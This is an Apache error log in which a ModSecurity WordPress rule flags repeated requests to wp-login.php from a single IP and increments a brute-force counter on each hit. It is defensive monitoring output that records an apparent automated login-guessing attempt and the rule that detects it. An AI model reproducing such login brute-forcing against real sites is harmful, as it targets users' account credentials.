[Sat Feb 28 11:37:22.166957 2026] [:error] [pid 39185:tid 39248] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi8hVE-FfM89u7BQZ6oAAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:23.658195 2026] [:error] [pid 39185:tid 39269] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi8xVE-FfM89u7BQZ6pQAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:26.757004 2026] [:error] [pid 39185:tid 39267] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi9hVE-FfM89u7BQZ6rwAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:28.167472 2026] [:error] [pid 39185:tid 39251] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi-BVE-FfM89u7BQZ6tQAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:32.370131 2026] [:error] [pid 39185:tid 39266] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi_BVE-FfM89u7BQZ6xwAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:33.768529 2026] [:error] [pid 39185:tid 39254] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJi_RVE-FfM89u7BQZ6yQAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:37.557366 2026] [:error] [pid 39185:tid 39250] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjARVE-FfM89u7BQZ60QAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:39.757270 2026] [:error] [pid 39185:tid 39250] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjAxVE-FfM89u7BQZ65AAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:43.148931 2026] [:error] [pid 39185:tid 39257] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjBxVE-FfM89u7BQZ6-AAAAIs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:44.749032 2026] [:error] [pid 39185:tid 39268] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjCBVE-FfM89u7BQZ6_wAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:47.468824 2026] [:error] [pid 39185:tid 39247] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjCxVE-FfM89u7BQZ7BQAAAIE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:48.975951 2026] [:error] [pid 39185:tid 39254] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjDBVE-FfM89u7BQZ7BgAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:53.849847 2026] [:error] [pid 39185:tid 39255] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjERVE-FfM89u7BQZ7DQAAAIk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:55.263763 2026] [:error] [pid 39185:tid 39268] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjExVE-FfM89u7BQZ7DwAAAJY"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:37:58.659917 2026] [:error] [pid 39185:tid 39256] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjFhVE-FfM89u7BQZ7EQAAAIo"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:00.056033 2026] [:error] [pid 39185:tid 39258] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjGBVE-FfM89u7BQZ7FQAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:03.759755 2026] [:error] [pid 39185:tid 39248] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjGxVE-FfM89u7BQZ7KAAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:06.167734 2026] [:error] [pid 39185:tid 39269] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjHhVE-FfM89u7BQZ7OAAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:09.762375 2026] [:error] [pid 39185:tid 39258] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjIRVE-FfM89u7BQZ7QQAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:11.665484 2026] [:error] [pid 39185:tid 39262] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjIxVE-FfM89u7BQZ7RgAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:15.991619 2026] [:error] [pid 39185:tid 39254] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjJxVE-FfM89u7BQZ7TgAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:18.356660 2026] [:error] [pid 39185:tid 39270] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjKhVE-FfM89u7BQZ7YwAAAJg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:21.376442 2026] [:error] [pid 39185:tid 39248] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjLRVE-FfM89u7BQZ7bgAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:23.564558 2026] [:error] [pid 39185:tid 39269] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjLxVE-FfM89u7BQZ7cwAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:26.666257 2026] [:error] [pid 39185:tid 39266] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjMhVE-FfM89u7BQZ7ogAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:29.072224 2026] [:error] [pid 39185:tid 39250] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjNRVE-FfM89u7BQZ7sgAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:32.478302 2026] [:error] [pid 39185:tid 39262] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjOBVE-FfM89u7BQZ7tAAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:34.066026 2026] [:error] [pid 39185:tid 39264] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjOhVE-FfM89u7BQZ7tQAAAJI"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:38.160441 2026] [:error] [pid 39185:tid 39257] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjPhVE-FfM89u7BQZ7vAAAAIs"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:39.575896 2026] [:error] [pid 39185:tid 39250] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjPxVE-FfM89u7BQZ7vQAAAIQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:42.559000 2026] [:error] [pid 39185:tid 39253] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjQhVE-FfM89u7BQZ7wgAAAIc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:44.673875 2026] [:error] [pid 39185:tid 39260] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjRBVE-FfM89u7BQZ70wAAAI4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:48.060105 2026] [:error] [pid 39185:tid 39269] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjSBVE-FfM89u7BQZ75QAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:49.577071 2026] [:error] [pid 39185:tid 39251] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjSRVE-FfM89u7BQZ77AAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:52.660797 2026] [:error] [pid 39185:tid 39247] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjTBVE-FfM89u7BQZ7-AAAAIE"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:54.169096 2026] [:error] [pid 39185:tid 39254] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjThVE-FfM89u7BQZ8AgAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:57.472704 2026] [:error] [pid 39185:tid 39255] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjURVE-FfM89u7BQZ8EAAAAIk"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:38:59.075987 2026] [:error] [pid 39185:tid 39269] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjUxVE-FfM89u7BQZ8EwAAAJc"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:02.173072 2026] [:error] [pid 39185:tid 39259] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjVhVE-FfM89u7BQZ8GgAAAI0"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:03.665106 2026] [:error] [pid 39185:tid 39251] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjVxVE-FfM89u7BQZ8IAAAAIU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:07.269599 2026] [:error] [pid 39185:tid 39267] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjWxVE-FfM89u7BQZ8OAAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:08.870829 2026] [:error] [pid 39185:tid 39266] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjXBVE-FfM89u7BQZ8OQAAAJQ"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:13.174196 2026] [:error] [pid 39185:tid 39248] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjYRVE-FfM89u7BQZ8SQAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:14.554324 2026] [:error] [pid 39185:tid 39254] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjYhVE-FfM89u7BQZ8UAAAAIg"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:18.564123 2026] [:error] [pid 39185:tid 39262] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjZhVE-FfM89u7BQZ8WAAAAJA"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:20.048731 2026] [:error] [pid 39185:tid 39261] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjaBVE-FfM89u7BQZ8XAAAAI8"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:23.065260 2026] [:error] [pid 39185:tid 39248] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjaxVE-FfM89u7BQZ8XgAAAII"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:24.664042 2026] [:error] [pid 39185:tid 39265] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjbBVE-FfM89u7BQZ8XwAAAJM"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:28.068972 2026] [:error] [pid 39185:tid 39258] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjcBVE-FfM89u7BQZ8ZAAAAIw"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:29.660070 2026] [:error] [pid 39185:tid 39267] [client 94.26.106.114:58968] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjcRVE-FfM89u7BQZ8bAAAAJU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:34.952075 2026] [:error] [pid 52460:tid 52477] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjdrLWOogAgHGh62TfTQAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:36.865332 2026] [:error] [pid 52460:tid 52484] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjeLLWOogAgHGh62TfbQAAAZU"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
[Sat Feb 28 11:39:40.370661 2026] [:error] [pid 52460:tid 52477] [client 94.26.106.114:53486] [client 94.26.106.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 94.26.106.114, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aaJjfLLWOogAgHGh62TfkgAAAY4"], referer: https://GIGFRAGMENTS.ORG/wp-login.php
